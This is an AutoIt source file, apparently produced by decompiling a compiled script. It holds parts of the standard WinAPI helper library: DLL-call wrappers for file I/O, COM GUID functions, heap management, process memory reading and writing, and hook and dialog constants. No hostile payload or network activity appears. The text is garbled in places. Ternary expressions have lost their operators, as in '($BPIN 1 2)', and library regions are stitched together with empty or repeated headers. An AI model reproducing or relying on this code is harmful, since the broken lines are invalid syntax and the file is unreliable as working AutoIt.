FUNC _WINAPI_PATHISDIRECTORY ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsDirectoryW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_READFILE ($HFILE , $PBUFFER , $ITOREAD , BYREF $IREAD , $TOVERLAPPED = 0 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadFile" , "handle" , $HFILE , "struct*" , $PBUFFER , "dword" , $ITOREAD , "dword*" , 0 , "struct*" , $TOVERLAPPED )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
$IREAD = $ARESULT [4 ]
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_STRLEN ($PSTRING , $BUNICODE = TRUE )
LOCAL $W = ""
IF $BUNICODE THEN $W = "W"
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "lstrlen" & $W , "struct*" , $PSTRING )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SWITCHCOLOR ($ICOLOR )
IF $ICOLOR = + 4294967295 THEN RETURN $ICOLOR
RETURN BITOR (BITAND ($ICOLOR , 65280 ) , BITSHIFT (BITAND ($ICOLOR , 255 ) , + 4294967280 ) , BITSHIFT (BITAND ($ICOLOR , 16711680 ) , 16 ) )
ENDFUNC
FUNC _WINAPI_WRITEFILE ($HFILE , $PBUFFER , $ITOWRITE , BYREF $IWRITTEN , $TOVERLAPPED = 0 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteFile" , "handle" , $HFILE , "struct*" , $PBUFFER , "dword" , $ITOWRITE , "dword*" , 0 , "struct*" , $TOVERLAPPED )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
$IWRITTEN = $ARESULT [4 ]
RETURN $ARESULT [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __CHECKERRORARRAYBOUNDS (CONST BYREF $ADATA , BYREF $ISTART , BYREF $IEND , $NDIM = 1 , $IDIM = $UBOUND_DIMENSIONS )
IF NOT ISARRAY ($ADATA ) THEN RETURN SETERROR (1 , 0 , 1 )
IF UBOUND ($ADATA , $IDIM ) <> $NDIM THEN RETURN SETERROR (2 , 0 , 1 )
IF $ISTART < 0 THEN $ISTART = 0
LOCAL $IUBOUND = UBOUND ($ADATA ) + 4294967295
IF $IEND < 1 OR $IEND > $IUBOUND THEN $IEND = $IUBOUND
IF $ISTART > $IEND THEN RETURN SETERROR (4 , 0 , 1 )
RETURN 0
ENDFUNC
FUNC __CHECKERRORCLOSEHANDLE ($ARET , $HFILE , $BLASTERROR = FALSE , $ICURERR = @ERROR , $ICUREXT = @EXTENDED )
IF NOT $ICURERR AND NOT $ARET [0 ] THEN $ICURERR = 10
LOCAL $ALASTERROR = DLLCALL ("kernel32.dll" , "dword" , "GetLastError" )
DLLCALL ("kernel32.dll" , "bool" , "CloseHandle" , "handle" , $HFILE )
IF $ICURERR THEN DLLCALL ("kernel32.dll" , "none" , "SetLastError" , "dword" , $ALASTERROR [0 ] )
IF $BLASTERROR THEN $ICUREXT = $ALASTERROR [0 ]
RETURN SETERROR ($ICURERR , $ICUREXT , $ICURERR )
ENDFUNC
FUNC __DLL ($SPATH , $BPIN = FALSE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetModuleHandleExW" , "dword" , ($BPIN 1 2 ) , "wstr" , $SPATH , "ptr*" , 0 )
IF NOT $ARET [3 ] THEN
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LoadLibraryW" , "wstr" , $SPATH )
IF NOT $ARESULT [0 ] THEN RETURN 0
ENDIF
RETURN 1
ENDFUNC
FUNC __ENUMWINDOWSPROC ($HWND , $BVISIBLE )
LOCAL $ARESULT
IF $BVISIBLE THEN
$ARESULT = DLLCALL ("user32.dll" , "bool" , "IsWindowVisible" , "hwnd" , $HWND )
IF NOT $ARESULT [0 ] THEN
RETURN 1
ENDIF
ENDIF
__INC ($__G_VENUM )
$__G_VENUM [$__G_VENUM [0 ] [0 ] ] [0 ] = $HWND
$ARESULT = DLLCALL ("user32.dll" , "int" , "GetClassNameW" , "hwnd" , $HWND , "wstr" , "" , "int" , 4096 )
$__G_VENUM [$__G_VENUM [0 ] [0 ] ] [1 ] = $ARESULT [2 ]
RETURN 1
ENDFUNC
FUNC __FATALEXIT ($ICODE , $STEXT = "" )
IF $STEXT THEN MSGBOX ($MB_SYSTEMMODAL , "AutoIt" , $STEXT )
DLLCALL ("kernel32.dll" , "none" , "FatalExit" , "int" , $ICODE )
ENDFUNC
FUNC __INC (BYREF $ADATA , $IINCREMENT = 100 )
SELECT
CASE UBOUND ($ADATA , $UBOUND_COLUMNS )
IF $IINCREMENT < 0 THEN
REDIM $ADATA [$ADATA [0 ] [0 ] + 1 ] [UBOUND ($ADATA , $UBOUND_COLUMNS ) ]
ELSE
$ADATA [0 ] [0 ] += 1
IF $ADATA [0 ] [0 ] > UBOUND ($ADATA ) + 4294967295 THEN
REDIM $ADATA [$ADATA [0 ] [0 ] + $IINCREMENT ] [UBOUND ($ADATA , $UBOUND_COLUMNS ) ]
ENDIF
ENDIF
CASE UBOUND ($ADATA , $UBOUND_ROWS )
IF $IINCREMENT < 0 THEN
REDIM $ADATA [$ADATA [0 ] + 1 ]
ELSE
$ADATA [0 ] += 1
IF $ADATA [0 ] > UBOUND ($ADATA ) + 4294967295 THEN
REDIM $ADATA [$ADATA [0 ] + $IINCREMENT ]
ENDIF
ENDIF
CASE ELSE
RETURN 0
ENDSELECT
RETURN 1
ENDFUNC
FUNC __RGB ($ICOLOR )
IF $__G_IRGBMODE THEN
$ICOLOR = _WINAPI_SWITCHCOLOR ($ICOLOR )
ENDIF
RETURN $ICOLOR
ENDFUNC
FUNC __WINVER ()
LOCAL $TOSVI = DLLSTRUCTCREATE ($TAGOSVERSIONINFO )
DLLSTRUCTSETDATA ($TOSVI , 1 , DLLSTRUCTGETSIZE ($TOSVI ) )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetVersionExW" , "struct*" , $TOSVI )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN BITOR (BITSHIFT (DLLSTRUCTGETDATA ($TOSVI , 2 ) , + 4294967288 ) , DLLSTRUCTGETDATA ($TOSVI , 3 ) )
ENDFUNC
#EndRegion Internal Functions
#Region Global Variables and Constants
GLOBAL CONST $__TAGWINAPICOM_GUID = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CLSIDFROMPROGID ($SPROGID )
LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CLSIDFromProgID" , "wstr" , $SPROGID , "struct*" , $TGUID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" )
$ARETURN = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , "struct*" , $TGUID , "wstr" , "" , "int" , 39 )
IF @ERROR OR NOT $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" )
RETURN $ARETURN [2 ]
ENDFUNC
FUNC _WINAPI_COINITIALIZE ($IFLAGS = 0 )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CoInitializeEx" , "ptr" , 0 , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_COTASKMEMALLOC ($ISIZE )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "ptr" , "CoTaskMemAlloc" , "uint_ptr" , $ISIZE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARETURN [0 ]
ENDFUNC
FUNC _WINAPI_COTASKMEMFREE ($PMEMORY )
DLLCALL ("ole32.dll" , "none" , "CoTaskMemFree" , "ptr" , $PMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_COTASKMEMREALLOC ($PMEMORY , $ISIZE )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "ptr" , "CoTaskMemRealloc" , "ptr" , $PMEMORY , "ulong_ptr" , $ISIZE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARETURN [0 ]
ENDFUNC
FUNC _WINAPI_COUNINITIALIZE ()
DLLCALL ("ole32.dll" , "none" , "CoUninitialize" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_CREATEGUID ()
LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CoCreateGuid" , "struct*" , $TGUID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" )
$ARETURN = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , "struct*" , $TGUID , "wstr" , "" , "int" , 65536 )
IF @ERROR OR NOT $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" )
RETURN $ARETURN [2 ]
ENDFUNC
FUNC _WINAPI_CREATESTREAMONHGLOBAL ($HGLOBAL = 0 , $BDELETEONRELEASE = TRUE )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "long" , "CreateStreamOnHGlobal" , "handle" , $HGLOBAL , "bool" , $BDELETEONRELEASE , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 )
RETURN $ARETURN [3 ]
ENDFUNC
FUNC _WINAPI_GETHGLOBALFROMSTREAM ($PSTREAM )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "uint" , "GetHGlobalFromStream" , "ptr" , $PSTREAM , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 )
RETURN $ARETURN [2 ]
ENDFUNC
FUNC _WINAPI_PROGIDFROMCLSID ($SCLSID )
LOCAL $TGUID = DLLSTRUCTCREATE ($__TAGWINAPICOM_GUID )
LOCAL $ARETURN = DLLCALL ("ole32.dll" , "uint" , "CLSIDFromString" , "wstr" , $SCLSID , "struct*" , $TGUID )
IF @ERROR OR $ARETURN [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" )
$ARETURN = DLLCALL ("ole32.dll" , "uint" , "ProgIDFromCLSID" , "struct*" , $TGUID , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , "" )
LOCAL $SID = _WINAPI_GETSTRING ($ARETURN [2 ] )
_WINAPI_COTASKMEMFREE ($ARETURN [2 ] )
RETURN $SID
ENDFUNC
FUNC _WINAPI_RELEASESTREAM ($PSTREAM )
LOCAL $ARETURN = DLLCALL ("oleaut32.dll" , "long" , "DispCallFunc" , "ptr" , $PSTREAM , "ulong_ptr" , 8 * (1 + @AUTOITX64 ) , "uint" , 4 , "ushort" , 23 , "uint" , 0 , "ptr" , 0 , "ptr" , 0 , "str" , "" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARETURN [0 ] THEN RETURN SETERROR (10 , $ARETURN [0 ] , 0 )
RETURN 1
ENDFUNC
#EndRegion Public Functions
GLOBAL CONST $HGDI_ERROR = PTR (+ 4294967295 )
GLOBAL CONST $INVALID_HANDLE_VALUE = PTR (+ 4294967295 )
GLOBAL CONST $CLR_INVALID = + 4294967295
GLOBAL CONST $MB_PRECOMPOSED = 1
GLOBAL CONST $MB_COMPOSITE = 2
GLOBAL CONST $MB_USEGLYPHCHARS = 4
GLOBAL CONST $ULW_ALPHA = 2
GLOBAL CONST $ULW_COLORKEY = 1
GLOBAL CONST $ULW_OPAQUE = 4
GLOBAL CONST $ULW_EX_NORESIZE = 8
GLOBAL CONST $WH_CALLWNDPROC = 4
GLOBAL CONST $WH_CALLWNDPROCRET = 12
GLOBAL CONST $WH_CBT = 5
GLOBAL CONST $WH_DEBUG = 9
GLOBAL CONST $WH_FOREGROUNDIDLE = 11
GLOBAL CONST $WH_GETMESSAGE = 3
GLOBAL CONST $WH_JOURNALPLAYBACK = 1
GLOBAL CONST $WH_JOURNALRECORD = 0
GLOBAL CONST $WH_KEYBOARD = 2
GLOBAL CONST $WH_KEYBOARD_LL = 13
GLOBAL CONST $WH_MOUSE = 7
GLOBAL CONST $WH_MOUSE_LL = 14
GLOBAL CONST $WH_MSGFILTER = + 4294967295
GLOBAL CONST $WH_SHELL = 10
GLOBAL CONST $WH_SYSMSGFILTER = 6
GLOBAL CONST $WPF_ASYNCWINDOWPLACEMENT = 4
GLOBAL CONST $WPF_RESTORETOMAXIMIZED = 2
GLOBAL CONST $WPF_SETMINPOSITION = 1
GLOBAL CONST $KF_EXTENDED = 256
GLOBAL CONST $KF_ALTDOWN = 8192
GLOBAL CONST $KF_UP = 32768
GLOBAL CONST $LLKHF_EXTENDED = BITSHIFT ($KF_EXTENDED , 8 )
GLOBAL CONST $LLKHF_INJECTED = 16
GLOBAL CONST $LLKHF_ALTDOWN = BITSHIFT ($KF_ALTDOWN , 8 )
GLOBAL CONST $LLKHF_UP = BITSHIFT ($KF_UP , 8 )
GLOBAL CONST $OFN_ALLOWMULTISELECT = 512
GLOBAL CONST $OFN_CREATEPROMPT = 8192
GLOBAL CONST $OFN_DONTADDTORECENT = 33554432
GLOBAL CONST $OFN_ENABLEHOOK = 32
GLOBAL CONST $OFN_ENABLEINCLUDENOTIFY = 4194304
GLOBAL CONST $OFN_ENABLESIZING = 8388608
GLOBAL CONST $OFN_ENABLETEMPLATE = 64
GLOBAL CONST $OFN_ENABLETEMPLATEHANDLE = 128
GLOBAL CONST $OFN_EXPLORER = 524288
GLOBAL CONST $OFN_EXTENSIONDIFFERENT = 1024
GLOBAL CONST $OFN_FILEMUSTEXIST = 4096
GLOBAL CONST $OFN_FORCESHOWHIDDEN = 268435456
GLOBAL CONST $OFN_HIDEREADONLY = 4
GLOBAL CONST $OFN_LONGNAMES = 2097152
GLOBAL CONST $OFN_NOCHANGEDIR = 8
GLOBAL CONST $OFN_NODEREFERENCELINKS = 1048576
GLOBAL CONST $OFN_NOLONGNAMES = 262144
GLOBAL CONST $OFN_NONETWORKBUTTON = 131072
GLOBAL CONST $OFN_NOREADONLYRETURN = 32768
GLOBAL CONST $OFN_NOTESTFILECREATE = 65536
GLOBAL CONST $OFN_NOVALIDATE = 256
GLOBAL CONST $OFN_OVERWRITEPROMPT = 2
GLOBAL CONST $OFN_PATHMUSTEXIST = 2048
GLOBAL CONST $OFN_READONLY = 1
GLOBAL CONST $OFN_SHAREAWARE = 16384
GLOBAL CONST $OFN_SHOWHELP = 16
GLOBAL CONST $OFN_EX_NOPLACESBAR = 1
GLOBAL CONST $STD_CUT = 0
GLOBAL CONST $STD_COPY = 1
GLOBAL CONST $STD_PASTE = 2
GLOBAL CONST $STD_UNDO = 3
GLOBAL CONST $STD_REDOW = 4
GLOBAL CONST $STD_DELETE = 5
GLOBAL CONST $STD_FILENEW = 6
GLOBAL CONST $STD_FILEOPEN = 7
GLOBAL CONST $STD_FILESAVE = 8
GLOBAL CONST $STD_PRINTPRE = 9
GLOBAL CONST $STD_PROPERTIES = 10
GLOBAL CONST $STD_HELP = 11
GLOBAL CONST $STD_FIND = 12
GLOBAL CONST $STD_REPLACE = 13
GLOBAL CONST $STD_PRINT = 14
GLOBAL CONST $KB_SENDSPECIAL = 0
GLOBAL CONST $KB_SENDRAW = 1
GLOBAL CONST $KB_CAPSOFF = 0
GLOBAL CONST $KB_CAPSON = 1
GLOBAL CONST $S_OK = 0
GLOBAL CONST $E_ABORT = 2147500036
GLOBAL CONST $E_ACCESSDENIED = 2147942405
GLOBAL CONST $E_FAIL = 2147500037
GLOBAL CONST $E_HANDLE = 2147942406
GLOBAL CONST $E_INVALIDARG = 2147942487
GLOBAL CONST $E_NOINTERFACE = 2147500034
GLOBAL CONST $E_NOTIMPL = 2147500033
GLOBAL CONST $E_OUTOFMEMORY = 2147942414
GLOBAL CONST $E_POINTER = 2147500035
GLOBAL CONST $E_UNEXPECTED = 2147549183
#Region Global Variables and Constants
GLOBAL $__G_HHEAP = 0
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CREATEBUFFER ($ILENGTH , $PBUFFER = 0 , $BABORT = TRUE )
$PBUFFER = __HEAPREALLOC ($PBUFFER , $ILENGTH , 0 , $BABORT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $PBUFFER
ENDFUNC
FUNC _WINAPI_CREATEBUFFERFROMSTRUCT ($TSTRUCT , $PBUFFER = 0 , $BABORT = TRUE )
IF NOT ISDLLSTRUCT ($TSTRUCT ) THEN RETURN SETERROR (1 , 0 , 0 )
$PBUFFER = __HEAPREALLOC ($PBUFFER , DLLSTRUCTGETSIZE ($TSTRUCT ) , 0 , $BABORT )
IF @ERROR THEN RETURN SETERROR (@ERROR + 100 , @EXTENDED , 0 )
_WINAPI_MOVEMEMORY ($PBUFFER , $TSTRUCT , DLLSTRUCTGETSIZE ($TSTRUCT ) )
RETURN $PBUFFER
ENDFUNC
FUNC _WINAPI_CREATESTRING ($SSTRING , $PSTRING = 0 , $ILENGTH = + 4294967295 , $BUNICODE = TRUE , $BABORT = TRUE )
$ILENGTH = NUMBER ($ILENGTH )
IF $ILENGTH >= 0 THEN
$SSTRING = STRINGLEFT ($SSTRING , $ILENGTH )
ELSE
$ILENGTH = STRINGLEN ($SSTRING )
ENDIF
LOCAL $ISIZE = $ILENGTH + 1
IF $BUNICODE THEN
$ISIZE *= 2
ENDIF
$PSTRING = __HEAPREALLOC ($PSTRING , $ISIZE , 0 , $BABORT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
DLLSTRUCTSETDATA (DLLSTRUCTCREATE (($BUNICODE "wchar" "char" ) & "[" & ($ILENGTH + 1 ) & "]" , $PSTRING ) , 1 , $SSTRING )
RETURN SETEXTENDED ($ILENGTH , $PSTRING )
ENDFUNC
FUNC _WINAPI_EQUALMEMORY ($PSOURCE1 , $PSOURCE2 , $ILENGTH )
IF _WINAPI_ISBADREADPTR ($PSOURCE1 , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 )
IF _WINAPI_ISBADREADPTR ($PSOURCE2 , $ILENGTH ) THEN RETURN SETERROR (12 , @EXTENDED , 0 )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "ulong_ptr" , "RtlCompareMemory" , "struct*" , $PSOURCE1 , "struct*" , $PSOURCE2 , "ulong_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN NUMBER ($ARET [0 ] = $ILENGTH )
ENDFUNC
FUNC _WINAPI_FILLMEMORY ($PMEMORY , $ILENGTH , $IVALUE = 0 )
IF _WINAPI_ISBADWRITEPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 )
DLLCALL ("ntdll.dll" , "none" , "RtlFillMemory" , "struct*" , $PMEMORY , "ulong_ptr" , $ILENGTH , "byte" , $IVALUE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_FREEMEMORY ($PMEMORY )
IF NOT __HEAPFREE ($PMEMORY , 1 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_GETMEMORYSIZE ($PMEMORY )
LOCAL $IRESULT = __HEAPSIZE ($PMEMORY , 1 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $IRESULT
ENDFUNC
FUNC _WINAPI_GLOBALMEMORYSTATUS ()
LOCAL CONST $TAGMEMORYSTATUSEX = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
LOCAL $TMEM = DLLSTRUCTCREATE ($TAGMEMORYSTATUSEX )
DLLSTRUCTSETDATA ($TMEM , 1 , DLLSTRUCTGETSIZE ($TMEM ) )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GlobalMemoryStatusEx" , "struct*" , $TMEM )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $AMEM [7 ]
$AMEM [0 ] = DLLSTRUCTGETDATA ($TMEM , 2 )
$AMEM [1 ] = DLLSTRUCTGETDATA ($TMEM , 3 )
$AMEM [2 ] = DLLSTRUCTGETDATA ($TMEM , 4 )
$AMEM [3 ] = DLLSTRUCTGETDATA ($TMEM , 5 )
$AMEM [4 ] = DLLSTRUCTGETDATA ($TMEM , 6 )
$AMEM [5 ] = DLLSTRUCTGETDATA ($TMEM , 7 )
$AMEM [6 ] = DLLSTRUCTGETDATA ($TMEM , 8 )
RETURN $AMEM
ENDFUNC
FUNC _WINAPI_ISBADCODEPTR ($PADDRESS )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadCodePtr" , "struct*" , $PADDRESS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISBADREADPTR ($PADDRESS , $ILENGTH )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadReadPtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISBADSTRINGPTR ($PADDRESS , $ILENGTH )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadStringPtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISBADWRITEPTR ($PADDRESS , $ILENGTH )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadWritePtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ISMEMORY ($PMEMORY )
LOCAL $BRESULT = __HEAPVALIDATE ($PMEMORY )
RETURN SETERROR (@ERROR , @EXTENDED , $BRESULT )
ENDFUNC
FUNC _WINAPI_LOCALFREE ($HMEMORY )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $HMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_MOVEMEMORY ($PDESTINATION , $PSOURCE , $ILENGTH )
IF _WINAPI_ISBADREADPTR ($PSOURCE , $ILENGTH ) THEN RETURN SETERROR (10 , @EXTENDED , 0 )
IF _WINAPI_ISBADWRITEPTR ($PDESTINATION , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 )
DLLCALL ("ntdll.dll" , "none" , "RtlMoveMemory" , "struct*" , $PDESTINATION , "struct*" , $PSOURCE , "ulong_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_READPROCESSMEMORY ($HPROCESS , $PBASEADDRESS , $PBUFFER , $ISIZE , BYREF $IREAD )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadProcessMemory" , "handle" , $HPROCESS , "ptr" , $PBASEADDRESS , "struct*" , $PBUFFER , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
$IREAD = $ARESULT [5 ]
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_WRITEPROCESSMEMORY ($HPROCESS , $PBASEADDRESS , $PBUFFER , $ISIZE , BYREF $IWRITTEN , $SBUFFER = "ptr" )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteProcessMemory" , "handle" , $HPROCESS , "ptr" , $PBASEADDRESS , $SBUFFER , $PBUFFER , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
$IWRITTEN = $ARESULT [5 ]
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_ZEROMEMORY ($PMEMORY , $ILENGTH )
IF _WINAPI_ISBADWRITEPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 )
DLLCALL ("ntdll.dll" , "none" , "RtlZeroMemory" , "struct*" , $PMEMORY , "ulong_ptr" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __HEAPALLOC ($ISIZE , $BABORT = FALSE )
LOCAL $ARET
IF NOT $__G_HHEAP THEN
$ARET = DLLCALL ("kernel32.dll" , "handle" , "HeapCreate" , "dword" , 0 , "ulong_ptr" , 0 , "ulong_ptr" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN __FATALEXIT (1 , "Error allocating memory." )
$__G_HHEAP = $ARET [0 ]
ENDIF
$ARET = DLLCALL ("kernel32.dll" , "ptr" , "HeapAlloc" , "handle" , $__G_HHEAP , "dword" , 8 , "ulong_ptr" , $ISIZE )
IF @ERROR OR NOT $ARET [0 ] THEN
IF $BABORT THEN __FATALEXIT (1 , "Error allocating memory." )
RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 )
ENDIF
RETURN $ARET [0 ]
ENDFUNC
FUNC __HEAPFREE (BYREF $PMEMORY , $BCHECK = FALSE , $ICURERR = @ERROR , $ICUREXT = @EXTENDED )
IF $BCHECK AND (NOT __HEAPVALIDATE ($PMEMORY ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "HeapFree" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 40 , @EXTENDED , 0 )
$PMEMORY = 0
RETURN SETERROR ($ICURERR , $ICUREXT , 1 )
ENDFUNC
FUNC __HEAPREALLOC ($PMEMORY , $ISIZE , $BAMOUNT = FALSE , $BABORT = FALSE )
LOCAL $ARET , $PRET
IF __HEAPVALIDATE ($PMEMORY ) THEN
IF $BAMOUNT AND (__HEAPSIZE ($PMEMORY ) >= $ISIZE ) THEN RETURN SETEXTENDED (1 , PTR ($PMEMORY ) )
$ARET = DLLCALL ("kernel32.dll" , "ptr" , "HeapReAlloc" , "handle" , $__G_HHEAP , "dword" , 8 , "ptr" , $PMEMORY , "ulong_ptr" , $ISIZE )
IF @ERROR OR NOT $ARET [0 ] THEN
IF $BABORT THEN __FATALEXIT (1 , "Error allocating memory." )
RETURN SETERROR (@ERROR + 20 , @EXTENDED , PTR ($PMEMORY ) )
ENDIF
$PRET = $ARET [0 ]
ELSE
$PRET = __HEAPALLOC ($ISIZE , $BABORT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
ENDIF
RETURN $PRET
ENDFUNC
FUNC __HEAPSIZE ($PMEMORY , $BCHECK = FALSE )
IF $BCHECK AND (NOT __HEAPVALIDATE ($PMEMORY ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "ulong_ptr" , "HeapSize" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY )
IF @ERROR OR ($ARET [0 ] = PTR (+ 4294967295 ) ) THEN RETURN SETERROR (@ERROR + 50 , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC __HEAPVALIDATE ($PMEMORY )
IF (NOT $__G_HHEAP ) OR (NOT PTR ($PMEMORY ) ) THEN RETURN SETERROR (9 , 0 , FALSE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "HeapValidate" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
#EndRegion Internal Functions
GLOBAL CONST $SND_APPLICATION = 128
GLOBAL CONST $SND_ALIAS = 65536
